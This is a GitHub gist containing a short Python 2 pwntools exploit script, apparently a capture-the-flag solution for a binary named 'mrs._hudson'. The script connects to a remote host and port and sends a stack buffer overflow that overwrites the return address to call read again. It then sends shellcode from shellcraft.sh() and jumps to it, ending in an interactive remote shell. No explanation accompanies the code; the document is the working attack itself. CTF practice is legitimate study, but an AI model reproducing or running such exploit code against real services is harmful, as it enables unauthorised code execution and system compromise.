Created
September 10, 2017 18:13
-
-
Save bennofs/ba64cecfba7e36db9d772456046fccae to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
from pwn import * | |
exe = context.binary = ELF("./mrs._hudson") | |
#conn = process(exe.path) | |
conn = remote("178.62.249.106", 8642) | |
conn.recvline_contains("Let's go back to 2000.") | |
bufsize = 0x70 | |
base = 0x601000 | |
info("using base: %#x", base) | |
read = p64(0x0040066f) | |
conn.sendline(fit({ | |
bufsize: [ | |
p64(base+0x70), # rbp | |
read, # ret | |
] | |
})) | |
conn.sendline(fit({ | |
0x0: asm(shellcraft.sh(), vma=base), | |
0x70: [ | |
p64(0xdeadbeef), # rbp | |
p64(base) # ret | |
] | |
})) | |
conn.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment